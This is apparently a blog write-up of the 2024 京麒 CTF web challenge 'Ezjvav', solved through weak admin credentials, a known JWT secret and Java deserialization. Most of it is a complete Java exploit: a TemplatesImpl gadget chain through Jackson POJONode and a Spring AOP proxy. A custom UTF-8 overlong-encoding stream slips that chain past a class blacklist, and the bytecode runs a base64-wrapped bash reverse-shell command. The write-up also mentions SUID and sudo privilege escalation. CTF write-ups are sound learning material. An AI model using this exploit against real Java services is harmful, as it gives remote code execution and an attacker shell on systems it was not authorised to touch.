京麒CTF2024-Ezjvav

admin/admin弱密码登录,

扫网页发现/js/manage.js,访问得到js混淆代码,直接gpt梭:

window.onload = function() {
    fetch('/source')
        .then(response => response.json())
        .then(data => {
            console.log(data);
        })
        .catch(error => console.error('Error:', error));
};

意思就是跳转/source读源码出来。

但是有个jwt验证,其实密钥就是jsrc,然后带cookie访问/source得到附件,直接down下来分析。

blacklist:

String[] s = new String[]{"java.util.HashMap",
 "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", 
 "com.alibaba.fastjson.JSONArrayLlist"};
 
 ----------------------------------------------------------------------------------------------------
 
         blackList.add("javax.management.BadAttributeValueExpException");
        blackList.add("com.sun.syndication.feed.impl.ToStringBean");
        blackList.add("java.security.SignedObject");
        blackList.add("com.sun.rowset.JdbcRowSetImpl");

rome链子的一些被ban了。

依赖:

overlong encoding自定义序列化流绕过黑名单直接打:

package com.eddiemurphy;

import com.example.jsrc.func.ByteCompare;
import com.example.jsrc.func.MyObjectInputStream;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

//最通用的办法
public class Exp {
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");");
        ctClass.addConstructor(constructor);
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", null);

        Object proxy = getProxy(templatesImpl, Templates.class);

        Object exp = getXstringMap(proxy);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        UTF8OverlongObjectOutputStream o = new UTF8OverlongObjectOutputStream(byteArrayOutputStream);
        o.writeObject(exp);
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(payload);

    }

    public static Object getProxy(Object obj,Class<?> clazz) throws Exception
    {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
        return proxy;
    }

    public static Object getXstringMap(Object obj) throws Exception
    {
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        POJONode node = new POJONode(obj);

        XString xString = new XString("test");

        HashMap<Object, Object> map1 = new HashMap<>();
        HashMap<Object, Object> map2 = new HashMap<>();
        map1.put("yy", node);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", node);
        Object o = makeMap(map1, map2);

        return o;
    }

    public static HashMap makeMap(Object v1, Object v2) throws Exception
    {
        HashMap s = new HashMap();
        setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
    {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
    static class UTF8OverlongObjectOutputStream extends ObjectOutputStream {
        public HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{
            put('.', new int[]{0xc0, 0xae});
            put(';', new int[]{0xc0, 0xbb});
            put('$', new int[]{0xc0, 0xa4});
            put('[', new int[]{0xc1, 0x9b});
            put(']', new int[]{0xc1, 0x9d});
            put('a', new int[]{0xc1, 0xa1});
            put('b', new int[]{0xc1, 0xa2});
            put('c', new int[]{0xc1, 0xa3});
            put('d', new int[]{0xc1, 0xa4});
            put('e', new int[]{0xc1, 0xa5});
            put('f', new int[]{0xc1, 0xa6});
            put('g', new int[]{0xc1, 0xa7});
            put('h', new int[]{0xc1, 0xa8});
            put('i', new int[]{0xc1, 0xa9});
            put('j', new int[]{0xc1, 0xaa});
            put('k', new int[]{0xc1, 0xab});
            put('l', new int[]{0xc1, 0xac});
            put('m', new int[]{0xc1, 0xad});
            put('n', new int[]{0xc1, 0xae});
            put('o', new int[]{0xc1, 0xaf}); // 0x6f
            put('p', new int[]{0xc1, 0xb0});
            put('q', new int[]{0xc1, 0xb1});
            put('r', new int[]{0xc1, 0xb2});
            put('s', new int[]{0xc1, 0xb3});
            put('t', new int[]{0xc1, 0xb4});
            put('u', new int[]{0xc1, 0xb5});
            put('v', new int[]{0xc1, 0xb6});
            put('w', new int[]{0xc1, 0xb7});
            put('x', new int[]{0xc1, 0xb8});
            put('y', new int[]{0xc1, 0xb9});
            put('z', new int[]{0xc1, 0xba});
            put('A', new int[]{0xc1, 0x81});
            put('B', new int[]{0xc1, 0x82});
            put('C', new int[]{0xc1, 0x83});
            put('D', new int[]{0xc1, 0x84});
            put('E', new int[]{0xc1, 0x85});
            put('F', new int[]{0xc1, 0x86});
            put('G', new int[]{0xc1, 0x87});
            put('H', new int[]{0xc1, 0x88});
            put('I', new int[]{0xc1, 0x89});
            put('J', new int[]{0xc1, 0x8a});
            put('K', new int[]{0xc1, 0x8b});
            put('L', new int[]{0xc1, 0x8c});
            put('M', new int[]{0xc1, 0x8d});
            put('N', new int[]{0xc1, 0x8e});
            put('O', new int[]{0xc1, 0x8f});
            put('P', new int[]{0xc1, 0x90});
            put('Q', new int[]{0xc1, 0x91});
            put('R', new int[]{0xc1, 0x92});
            put('S', new int[]{0xc1, 0x93});
            put('T', new int[]{0xc1, 0x94});
            put('U', new int[]{0xc1, 0x95});
            put('V', new int[]{0xc1, 0x96});
            put('W', new int[]{0xc1, 0x97});
            put('X', new int[]{0xc1, 0x98});
            put('Y', new int[]{0xc1, 0x99});
            put('Z', new int[]{0xc1, 0x9a});
        }};

        public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException {
            super(out);
        }

        @Override
        protected void writeClassDescriptor(ObjectStreamClass desc) {
            try {
                String name = desc.getName();
//        writeUTF(desc.getName());
                writeShort(name.length() * 2);
                for (int i = 0; i < name.length(); i++) {
                    char s = name.charAt(i);
//            System.out.println(s);
                    write(map.get(s)[0]);
                    write(map.get(s)[1]);
                }
                writeLong(desc.getSerialVersionUID());
                byte flags = 0;
                if ((Boolean) getFieldValue(desc, "externalizable")) {
                    flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
                    Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                    protocolField.setAccessible(true);
                    int protocol = (Integer) protocolField.get(this);
                    if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                        flags |= ObjectStreamConstants.SC_BLOCK_DATA;
                    }
                } else if ((Boolean) getFieldValue(desc, "serializable")) {
                    flags |= ObjectStreamConstants.SC_SERIALIZABLE;
                }
                if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) {
                    flags |= ObjectStreamConstants.SC_WRITE_METHOD;
                }
                if ((Boolean) getFieldValue(desc, "isEnum")) {
                    flags |= ObjectStreamConstants.SC_ENUM;
                }
                writeByte(flags);
                ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
                writeShort(fields.length);
                for (int i = 0; i < fields.length; i++) {
                    ObjectStreamField f = fields[i];
                    writeByte(f.getTypeCode());
                    writeUTF(f.getName());
                    if (!f.isPrimitive()) {
                        Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
                        writeTypeString.setAccessible(true);
                        writeTypeString.invoke(this, f.getTypeString());
//                    writeTypeString(f.getTypeString());
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

suid提权,sudo可用且nopasswd:

还可以借鉴一手内存🐎打法:

【Web】2024京麒CTF ezjvav题解-CSDN博客

posted @ 2024-05-27 17:59  Eddie_Murphy  阅读(184)  评论(0编辑  收藏  举报